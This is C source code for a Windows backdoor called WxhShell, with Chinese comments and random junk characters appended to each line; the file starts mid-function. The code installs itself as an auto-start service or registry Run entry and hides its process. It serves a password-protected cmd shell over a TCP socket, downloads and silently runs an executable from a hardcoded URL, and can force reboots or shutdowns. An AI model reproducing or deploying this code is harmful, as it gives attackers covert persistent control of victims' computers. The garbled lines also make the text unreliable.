    else { X|G+N(`|(  
    closesocket(wsh); Ry3 f'gx  
    ExitThread(0); 9B0"GEwrs  
    } [hbIv   
    break; pQ8+T|0x  
    } GrC")Z|3u  
  // 获取shell 7C^ nk z  
  case 's': { OSk9Eb4ld  
    CmdShell(wsh); h (2k;M^s  
    closesocket(wsh); gp2)35  
    ExitThread(0); {*Pp^ r  
    break; ![%,pip2/&  
  } b"9,DQB=i  
  // 退出 N4-J !r@#~  
  case 'x': { ,iUx'U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4pv :u:Z  
    CloseIt(wsh); &.B6P|N'  
    break; IrC=9%pd$R  
    } L;`t%1  
  // 离开 k6S<46}h|  
  case 'q': { O?Tg`]EX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? Y* PVx9Y  
    closesocket(wsh); YZ@-0_Z  
    WSACleanup(); CXZeL 1+  
    exit(1); !f 6  
    break; :DJ@HY  
        } w4a7c  
  } 5;Xrf=  
  } ;"z>p25=T  
9v0|lS!-  
  // 提示信息 Nig-D>OS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ags`%(  
} <& iBR  
  } (z7#KJ1+Aw  
Xg,BK0O  
  return; ibyA~YUN/  
} %\0 Y1!Hw  
KHtY +93  
// shell模块句柄 pkx>6(Y  
int CmdShell(SOCKET sock) vKf=t&gqr  
{ g=Di2j{A  
STARTUPINFO si; -f=hL7NW  
ZeroMemory(&si,sizeof(si)); /jD'o>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KG$2u:n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ig{5 ]wZ(  
PROCESS_INFORMATION ProcessInfo; -s"lW 7N^  
char cmdline[]="cmd"; iXFaQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9K!='u`  
  return 0; .2xkf@OP  
} 2X_ef  
5FxU=M1gF  
// 自身启动模式 >.|gmo>b  
int StartFromService(void) @Rm/g#!h"  
{ E3!twR*Aw  
typedef struct iY-dM(_:]  
{ >Fz$DKr[  
  DWORD ExitStatus; HV@:!zM  
  DWORD PebBaseAddress; {QID@  
  DWORD AffinityMask; nKdLhCN'=  
  DWORD BasePriority; Q1z04m1_y[  
  ULONG UniqueProcessId; yhaYlYv[_3  
  ULONG InheritedFromUniqueProcessId; j$6}r  
}   PROCESS_BASIC_INFORMATION; e^yB9b  
jxvVp*-=<j  
PROCNTQSIP NtQueryInformationProcess; nP^$p C  
HdM;c*K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tANG ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; / <p HDY  
il~,y8WTU{  
  HANDLE             hProcess; jPfoI-  
  PROCESS_BASIC_INFORMATION pbi; $$a"A(Y  
tF|bxXs Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h.*|4;  
  if(NULL == hInst ) return 0; (agdgy:#  
Xc!w y9m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3>+;G4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mX89^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fvD wg  
*M:Bhw  
  if (!NtQueryInformationProcess) return 0; DN+`Q{KS  
q)*0G*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :&m(WZ \  
  if(!hProcess) return 0; #=rR[:M  
7F.,Xvw&@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; art{PV4-  
/03>|Juo  
  CloseHandle(hProcess); r`2& o  
\ (,2^T'$J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,P}c92;  
if(hProcess==NULL) return 0; L6m'u6:1{  
Nu'rn*Y_  
HMODULE hMod; Q*he%@w  
char procName[255]; y_6HQ:  
unsigned long cbNeeded; wrbDbp1L  
(rJvE*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gkl#s7'  
Ot?rsr  
  CloseHandle(hProcess); fOVRtSls  
ze- iDd_y  
if(strstr(procName,"services")) return 1; // 以服务启动 T1E{NgK  
L" o6)N  
  return 0; // 注册表启动 nV,a|V5Xm  
} cQ`,:t#[  
?U |lZ~o  
// 主模块 +~-|( y  
int StartWxhshell(LPSTR lpCmdLine) DcOLK\  
{ hXCDlCO  
  SOCKET wsl; D)Zv  
BOOL val=TRUE; DCj!m<Y&  
  int port=0; !>Xx</iD1  
  struct sockaddr_in door; L|<Mtw  
{'1,JwSmb  
  if(wscfg.ws_autoins) Install(); WCH>9Z>cj  
$Ix^Rm9c  
port=atoi(lpCmdLine); }^H_|;e1p  
*b&|  
if(port<=0) port=wscfg.ws_port; 7% h Mf$KQ  
sdb#K?l  
  WSADATA data; 7$'ja  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /vu7;xVG  
_xJ&p$&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _/Hu'9432  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L,i-T:Z~=  
  door.sin_family = AF_INET; }sFHb[I &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IoC,\$s,  
  door.sin_port = htons(port); [K5afnq`  
B-RaAiE@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iY="M_kQ_  
closesocket(wsl); 344- ~i*  
return 1; Px<;-H`  
} %\A~w3E  
?1YK-T@  
  if(listen(wsl,2) == INVALID_SOCKET) { Q8_d]V=X:  
closesocket(wsl); Q-\: u~  
return 1;  #u~8Txt  
} R#0UwRjeF  
  Wxhshell(wsl); % n^]1R#  
  WSACleanup(); #r\uh\Cy  
=#W6+=YN8  
return 0; v"j7},P@  
L(.5:&Y=`  
} k20tn ew  
|K]tJi4fz  
// 以NT服务方式启动 dQ<EDtap  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l{<@[foc  
{ u!O)\m-  
DWORD   status = 0; +:b| I'S  
  DWORD   specificError = 0xfffffff; r_QWt1K  
~sOAm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q N>j2~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *p"%cas  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % 74}H8q_z  
  serviceStatus.dwWin32ExitCode     = 0; k3&Wv  
  serviceStatus.dwServiceSpecificExitCode = 0; Yv>% 5`  
  serviceStatus.dwCheckPoint       = 0; =dPrG=A   
  serviceStatus.dwWaitHint       = 0; +S$x}b'5q  
]c08`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v''$qMQ)  
  if (hServiceStatusHandle==0) return; MZ0 J/@(  
,ecFHkT>  
status = GetLastError(); ]\{EUx9  
  if (status!=NO_ERROR) _o;alt  
{ L~\Ir  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j sm{|'  
    serviceStatus.dwCheckPoint       = 0; =oBV.BST u  
    serviceStatus.dwWaitHint       = 0; E;yP.<PW  
    serviceStatus.dwWin32ExitCode     = status; ig6F!p  
    serviceStatus.dwServiceSpecificExitCode = specificError; bYiaJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >y5~:L  
    return; ct`89~"  
  } jVr:O `  
=m UtBD.;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A," u~6Bn  
  serviceStatus.dwCheckPoint       = 0; b^0=X!bg  
  serviceStatus.dwWaitHint       = 0; q%nWBmPZ~y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BRzrtK  
} flRok?iF  
Gx!Y 4Q}-  
// 处理NT服务事件,比如:启动、停止 o<Q~pd#Ip,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wh,p$|vL  
{ `rvS(p[s  
switch(fdwControl) {q:6;yzxl  
{ HUZI7rC[=)  
case SERVICE_CONTROL_STOP: ^]K_k7`I  
  serviceStatus.dwWin32ExitCode = 0; zpJQ7hym  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zv-#v  
  serviceStatus.dwCheckPoint   = 0; q.*k J/L  
  serviceStatus.dwWaitHint     = 0; _G@)Bj^*  
  { [:Sl^ Z&6M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -GH>12YP  
  } :U=*@p4?  
  return; dW6sA65<Y  
case SERVICE_CONTROL_PAUSE: MGK%F#PM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T)MKhK9\Ab  
  break; k*J0K=U|  
case SERVICE_CONTROL_CONTINUE: d-y8c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V!u W\i/  
  break; nGq{+ G  
case SERVICE_CONTROL_INTERROGATE: O|d"0P  
  break; ;tlvf?0!  
}; "_W[X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `ml  
} U&GSMjqg  
voiWf?X  
// 标准应用程序主函数 5 y0 N }}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wZ0RI{)s'  
{ X3@Uih}|  
;O+= 6>W  
// 获取操作系统版本 nH_M#  
OsIsNt=GetOsVer(); qf;x~1efC4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2)-Umq{]{  
',P$m&z  
  // 从命令行安装 OQ&l/|{O0?  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0.+MlyA  
G .NGS%v  
  // 下载执行文件 ZwM(H[iqL  
if(wscfg.ws_downexe) { \I (g70  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KSz;D+L \  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3s;^p,9 Y  
} *mby fu0q  
NYw>Z>TD8c  
if(!OsIsNt) { g=n{G@*N  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^M0  
HideProc(); ]jjHIFX  
StartWxhshell(lpCmdLine); f3^Anaa]l  
} *PM#ngLX}r  
else }]<0!q &xB  
  if(StartFromService()) DHQS7%)f`  
  // 以服务方式启动 ]Q$Sei5  
  StartServiceCtrlDispatcher(DispatchTable); }p5_JXBV  
else Kl_(4kQE_  
  // 普通方式启动 )Vd^#p  
  StartWxhshell(lpCmdLine); $t0o*i{  
f\xmv|8  
return 0; wDR/Vr"f  
} ||D PIn]  
,+~8R"  
x n?$@  
4( $p8J  
=========================================== MQ#k`b#()  
2)hfYLi  
2ca#@??R  
`3g5n:"g\  
8wV`mdKN  
FRa>cf4  
" B`|f"+.  
ZmI0|r}QbY  
#include <stdio.h> f*}}Az.4  
#include <string.h> "%lIB{  
#include <windows.h> zX lcu_rc  
#include <winsock2.h> Fs"i fn0  
#include <winsvc.h> hi`[  
#include <urlmon.h> 0 30LT$&!  
.+A)^A  
#pragma comment (lib, "Ws2_32.lib") bFjH* ~ P  
#pragma comment (lib, "urlmon.lib") pu~b\&^G  
,oykOda:|  
#define MAX_USER   100 // 最大客户端连接数 (@->AJF1\  
#define BUF_SOCK   200 // sock buffer `*6|2  
#define KEY_BUFF   255 // 输入 buffer [;H-HpBaa  
kM J}sS  
#define REBOOT     0   // 重启 IdqCk0lVD  
#define SHUTDOWN   1   // 关机 j"K^zh  
!0dQfj^_  
#define DEF_PORT   5000 // 监听端口 i-PK59VZ8f  
p4V*%A&w  
#define REG_LEN     16   // 注册表键长度 |sdG<+  
#define SVC_LEN     80   // NT服务名长度 tk]D)+{u&c  
i\<S ;  
// 从dll定义API k4a51[SYBK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Z2`8]-E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Unvl~lm6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \3OEC`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ge_fU'F  
Q3Pu<j}Y  
// wxhshell配置信息 URceq2_  
struct WSCFG { yDfH`]i)U  
  int ws_port;         // 监听端口 ?7}ybw3t]  
  char ws_passstr[REG_LEN]; // 口令 l`.z^+!8@  
  int ws_autoins;       // 安装标记, 1=yes 0=no D&i\dgbK  
  char ws_regname[REG_LEN]; // 注册表键名 FQJiLb._Z  
  char ws_svcname[REG_LEN]; // 服务名 %N)B8A9kh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]DKRug5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q 9fK)j1$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EB| iW2'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ((C|&$@M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M!+J[q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?z`={oN  
oUwo!n}  
}; 3CgID6[Sy  
GF6o  
// default Wxhshell configuration ,A'| Z  
struct WSCFG wscfg={DEF_PORT, b"uO BB  
    "xuhuanlingzhe", ckMG4 3i\j  
    1, \_WR:?l  
    "Wxhshell", -w*fS,O  
    "Wxhshell", PChew3  
            "WxhShell Service", C7ug\_,s  
    "Wrsky Windows CmdShell Service", $2\ 8Rn6'  
    "Please Input Your Password: ", G<M0KU (  
  1, hs[x\:})/  
  "http://www.wrsky.com/wxhshell.exe", -nXP<v=V  
  "Wxhshell.exe" (P`=9+  
    }; :h5G|^  
?TeozhUY  
// 消息定义模块 vo f8bQ{&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 23P&n(.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gu3iaM$W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mh*r)B~%[  
char *msg_ws_ext="\n\rExit."; dzEi^* (8  
char *msg_ws_end="\n\rQuit."; K(i}?9WD  
char *msg_ws_boot="\n\rReboot...";  tPQ|znB|  
char *msg_ws_poff="\n\rShutdown..."; r[4n2Mys  
char *msg_ws_down="\n\rSave to "; 0u1ZU4+EC  
/i3 JP}  
char *msg_ws_err="\n\rErr!"; arDl2T,igF  
char *msg_ws_ok="\n\rOK!"; 5]>*0#C S  
H,]8[ qT<  
char ExeFile[MAX_PATH]; 8'u9R~})   
int nUser = 0; h*%FZ}}`q  
HANDLE handles[MAX_USER]; `0\Z*^>  
int OsIsNt; PFuhvw~?  
nm@ h5ON_  
SERVICE_STATUS       serviceStatus; z3y{0<3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (B>/LsTu  
'g!T${  
// 函数声明 #h?I oB7  
int Install(void); q)i %*IY  
int Uninstall(void); ?D6uviQg  
int DownloadFile(char *sURL, SOCKET wsh); 6LBdTnzUd  
int Boot(int flag); jd](m:eG  
void HideProc(void); \= v.$u"c  
int GetOsVer(void); Hl,{4%]  
int Wxhshell(SOCKET wsl); >=[uLY[aK  
void TalkWithClient(void *cs); eJ99W=  
int CmdShell(SOCKET sock); Up{[baWF  
int StartFromService(void); :D*U4< /u  
int StartWxhshell(LPSTR lpCmdLine); X>8,C^~$1  
g3z/yj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y6nP=g|')>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0n{.96r0R  
zMR)w77  
// 数据结构和表定义 q2*A'C  
SERVICE_TABLE_ENTRY DispatchTable[] = -NXxxK  
{ xIGq+yd(  
{wscfg.ws_svcname, NTServiceMain}, eAfi!!Z<  
{NULL, NULL} |tGUx*NN  
}; 1Ng+mT  
>\d&LLAe  
// 自我安装 oT-gZedW(  
int Install(void) BB6[(Z  
{ ^O18\a  
  char svExeFile[MAX_PATH]; I.n,TJoz4J  
  HKEY key; !&{rnK  
  strcpy(svExeFile,ExeFile); {4D`VfX_  
i)?7+<X  
// 如果是win9x系统,修改注册表设为自启动 SXk.7bMV6  
if(!OsIsNt) { k ucbI_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kcm+%p^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6nZ]y&$G-k  
  RegCloseKey(key); 4yxQq7 m,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0G+Q^]0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nF@**,C Q  
  RegCloseKey(key); @|\9<S  
  return 0; R9U{r.AA  
    } #7i*Diqf9  
  } )i~AXBt}  
} iApq!u,  
else { fOV_ >]u  
lI<jYd 0fZ  
// 如果是NT以上系统,安装为系统服务 GGp.u@\r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @@AL@.*  
if (schSCManager!=0) w}ji]V}  
{ Zz0bd473k?  
  SC_HANDLE schService = CreateService &BRk<iwV  
  ( L[x`i'0B  
  schSCManager, 9MMCWMV  
  wscfg.ws_svcname, Y;/@[AwF  
  wscfg.ws_svcdisp, 0 0N[ : %  
  SERVICE_ALL_ACCESS, .xN<<+|_v'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X`.##S KC  
  SERVICE_AUTO_START, {y9G "  
  SERVICE_ERROR_NORMAL, z&6_}{2,]  
  svExeFile, 8zp?WUb  
  NULL, $*ff]>#  
  NULL, DZSS  
  NULL, :C:6bDQ  
  NULL, !Y ,7%  
  NULL AS7L  
  ); cUY-  
  if (schService!=0) iFd !ED  
  { { ADd[V  
  CloseServiceHandle(schService); 3`bQ0-D;  
  CloseServiceHandle(schSCManager); ;P91'B~t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /65YHXg,  
  strcat(svExeFile,wscfg.ws_svcname); (BEe^]f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YvJFZ_faX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WXy8<?s  
  RegCloseKey(key); ~*HQPp?v  
  return 0; 0P$1=oK  
    } 8A#,*@V[  
  } ~CNB3r5R  
  CloseServiceHandle(schSCManager); @G4Z  
} ], lLD UZ\  
} Tn&_ >R  
#`VAw ) eV  
return 1; ;z'&$#pA  
} Sq5,}oT_{j  
\Y4(+t=4  
// 自我卸载 h.edb6  
int Uninstall(void) TTXF r  
{ w?ugZYwX*  
  HKEY key; .C'\U[A{  
-8 uS#  
if(!OsIsNt) { z@,pT"rb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1}d F,e  
  RegDeleteValue(key,wscfg.ws_regname); Va8 }JD  
  RegCloseKey(key); UY3)6}g6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LCivZ0?|X  
  RegDeleteValue(key,wscfg.ws_regname); v \:AOY'  
  RegCloseKey(key); \n{# r`T  
  return 0; &<t%u[3  
  } 0>28o.  
} ;/Hr ZhOE  
} "*bLFORkq'  
else { zG9FO/@av  
cXq9k!I%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L^JU{\C  
if (schSCManager!=0) 0z>IYw|UB  
{ `=(<!nXJx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C m:AU;  
  if (schService!=0) bBi>BP =  
  { %p 6Ms  
  if(DeleteService(schService)!=0) { }b456J  
  CloseServiceHandle(schService); %3`*)cp@  
  CloseServiceHandle(schSCManager); t/[2{'R4  
  return 0; dcf,a<K\  
  } jr` swyg  
  CloseServiceHandle(schService); !]F`qS>  
  } 7nB4(A2[S4  
  CloseServiceHandle(schSCManager); b 7sfr!t_d  
} W>jKWi,{  
} QRju9x  
A?MM9Y}K  
return 1; TAYh#T=S  
} Zz0er|9]Q  
|Yli~Qx  
// 从指定url下载文件 2 5~Z%_?  
int DownloadFile(char *sURL, SOCKET wsh) \l!+l  
{ =F \Xt "  
  HRESULT hr; <V^o.4mOg>  
char seps[]= "/"; HM% +Y47a  
char *token; U^_\V BAk  
char *file; bc(MN8b]j  
char myURL[MAX_PATH]; :W)lt28_  
char myFILE[MAX_PATH]; Zf$mwRS[_  
:Racu;xf  
strcpy(myURL,sURL); |>ztx}\  
  token=strtok(myURL,seps); )<QX2~m<  
  while(token!=NULL) ~>@~U]  
  { -8)Hulo/{U  
    file=token; &b (*  
  token=strtok(NULL,seps); /` M#  
  } e#oK% {A  
;r@=[h   
GetCurrentDirectory(MAX_PATH,myFILE); 7&id(&y/  
strcat(myFILE, "\\"); ,1I-%6L  
strcat(myFILE, file); ;pm/nu  
  send(wsh,myFILE,strlen(myFILE),0); N^QxqQ~  
send(wsh,"...",3,0); LuZlGm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t^&hG7L_m,  
  if(hr==S_OK) l;q]z  
return 0; ]G i&:k  
else "M:ui0YP  
return 1; \`y:#N<c  
N8nt2r<h  
} UlWmf{1%]?  
9,8/DW.K  
// 系统电源模块 FRxR/3&  
int Boot(int flag) d./R;Z- I{  
{ jG ouwta  
  HANDLE hToken; Jj)J5 S /  
  TOKEN_PRIVILEGES tkp; VP!4Nob  
yV`Tw"p  
  if(OsIsNt) { LGc8w>qE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6"_pCkn;c<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1L`V{\_0s  
    tkp.PrivilegeCount = 1; ,hf W2}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6D| F1UFU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f%PLR9Nh5@  
if(flag==REBOOT) { 2|"D\N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w<~[ad}  
  return 0; <zpxodM@T  
} +o@:8!IM1  
else { 0=&S?J#!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H`M|B<.  
  return 0;  dw;<Q  
} Bvvja C  
  } {_!,T%>+1  
  else { p"P+8"`  
if(flag==REBOOT) { Lv@WI6DM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UIU Pi gd  
  return 0; m=n79]b:N  
} 0to`=;JI  
else { %KVmpWku  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]-t>F  
  return 0; b~UWFX#U  
} kB?/_a`]  
} 1>[#./@  
Ep(xlHTv  
return 1; mxEe -q  
} .<vXj QE  
_# Hd2h  
// win9x进程隐藏模块 >NPK;Vu  
void HideProc(void) .,6o):  
{ k5>UAea_  
+8xT}mX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <',k%:t  
  if ( hKernel != NULL ) <b'*GBw$  
  { 6&]Z'nW0k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VsTgK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )o:sDj`b]  
    FreeLibrary(hKernel); 8N)Lck2PR  
  } Cgln@Rz  
G(?1 Urxi  
return; `StuUa  
} bp/l~h.7W  
#do%u"q  
// 获取操作系统版本 xKUWj<+/  
int GetOsVer(void) |11vm#  
{ ^>%.l'1/(  
  OSVERSIONINFO winfo; I~6(>Z{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rMVcoO@3  
  GetVersionEx(&winfo); T-yEn&r4)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WI&A+1CK-5  
  return 1; (gY W iz  
  else PZru:.Mh  
  return 0; 7Cp /{l;d  
} ]["%e9#aX  
{ k=3OIp  
// 客户端句柄模块 KaMg [ G  
int Wxhshell(SOCKET wsl) )-"<19eu  
{ ]35`N<Ac  
  SOCKET wsh; MA_YMxP.'  
  struct sockaddr_in client; M._E$y,5  
  DWORD myID; "c} en[  
CT_tJ  
  while(nUser<MAX_USER) v6DjNyg<x  
{ >l8?B L  
  int nSize=sizeof(client); qi/k`T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 74N_>1!j  
  if(wsh==INVALID_SOCKET) return 1; $aEv*{$y  
I*j~5fsS'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _QHk&-Lp  
if(handles[nUser]==0) [>>_%T\I  
  closesocket(wsh); oQpGa>6U&  
else $Tv~ *|a  
  nUser++; ,d*1|oUw  
  } A",}Ikh='`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oj.J;[-  
G:1QXwq\j  
  return 0; ~$>JYJj  
} a e-tAA[1Y  
5nBJj  
// 关闭 socket )2wf D  
void CloseIt(SOCKET wsh) "5dke^yk0  
{ CB-;Jqb  
closesocket(wsh); m+8:_0x "  
nUser--; :FU?vh$)  
ExitThread(0); @i> r(X  
} Z3MhHvvgp{  
F5+F O^3E  
// 客户端请求句柄 M  hW9^?  
void TalkWithClient(void *cs) b3_P??yp  
{ 3n)Kzexh  
h}'Hst  
  SOCKET wsh=(SOCKET)cs; Q=%W-  
  char pwd[SVC_LEN]; $bKXP(  
  char cmd[KEY_BUFF]; E@otV6Wk[@  
char chr[1]; $?!]?{K  
int i,j; ?7)v:$(G}  
4~A$u^scn  
  while (nUser < MAX_USER) { "oiN8#Hf  
_vb'3~'S  
if(wscfg.ws_passstr) { )c*xKij  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qT$IV\;_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yogL8V-^4  
  //ZeroMemory(pwd,KEY_BUFF); hC8WRxEGq  
      i=0; 8a@k6OZ  
  while(i<SVC_LEN) { u4T$  
q9_AL8_  
  // 设置超时 y5=,q]Qjk[  
  fd_set FdRead; I6;6x  
  struct timeval TimeOut; yKrb GK*=_  
  FD_ZERO(&FdRead); BI%~0 Gj8  
  FD_SET(wsh,&FdRead); fBZLWfp9  
  TimeOut.tv_sec=8; #?r|6<4X  
  TimeOut.tv_usec=0; ChUE,)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \z2y?"\?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I+twI&GS  
LHx ")H?,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2!}F+^8'P  
  pwd=chr[0]; ,6MJW#~]  
  if(chr[0]==0xd || chr[0]==0xa) { Hmm0H6&u  
  pwd=0; 'MX|=K!C  
  break; !%}n9vr!}\  
  } o:cTc:l)  
  i++; @,= pG  
    } ,J+L_S+B~  
{T^D&i# o  
  // 如果是非法用户,关闭 socket bJ 6ivz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6&'kN 2  
} wXp:XZ:]T  
!pRu?5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U!Zj%H1XQ0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kl~/tbf  
yU/?4/G!  
while(1) { ct|0zl~  
Q1|6;4L  
  ZeroMemory(cmd,KEY_BUFF);  *p9)5  
X%<qHbKB,  
      // 自动支持客户端 telnet标准   ed5oN^V.<  
  j=0; A p?,y?  
  while(j<KEY_BUFF) { JAjiG^]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?kZ-,@h:  
  cmd[j]=chr[0]; 3^&`E} r  
  if(chr[0]==0xa || chr[0]==0xd) { k ?6d\Q  
  cmd[j]=0; SXl~lYUL  
  break; (O(TFE5^  
  } ~.G$0IJY  
  j++; ^{IZpT3  
    } H[s+.&^  
GTfM *b  
  // 下载文件 aj|PyX3P:  
  if(strstr(cmd,"http://")) { #6#n4`%ER  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R!/JZ@au<  
  if(DownloadFile(cmd,wsh)) 4P)#\$d:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTO 2+F*  
  else Va.TUz4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -le^ 5M7  
  } 2/t;}pw8  
  else { j>\rs|^O  
Z@x&  
    switch(cmd[0]) { 'xai5X  
  ,0AS&xs$  
  // 帮助 [S]q'c)  
